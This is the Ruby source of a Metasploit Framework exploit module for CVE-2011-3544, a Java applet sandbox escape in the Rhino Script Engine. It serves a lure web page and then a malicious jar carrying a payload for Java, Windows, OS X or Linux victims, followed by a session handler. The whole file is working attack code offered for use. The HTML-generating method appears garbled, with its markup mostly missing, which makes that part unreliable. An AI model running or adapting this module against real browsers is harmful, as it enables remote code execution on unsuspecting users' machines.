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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Rhino Script Engine Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in the Rhino Script Engine that can be used by a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects version 7 and version 6 update 27 and earlier, and should work on any browser that supports Java (for example: IE, Firefox, Google Chrome, etc) }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Schierl', # Discovery 'juan vazquez', # metasploit module 'Edward D. Teach ', 'sinn3r' ], 'References' => [ [ 'CVE', '2011-3544' ], [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ], [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ], ], 'Platform' => [ 'java', 'win', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Apple OSX', { 'ARCH' => ARCH_X86, 'Platform' => 'osx' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 18 2011' )) end def on_request_uri( cli, request ) if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect(cli, get_resource() + '/', '') return end print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...") send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return end paths = [ [ "Exploit.class" ] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html html = "Loading, Please Wait..." html += "

" html += "" html += "" return html end end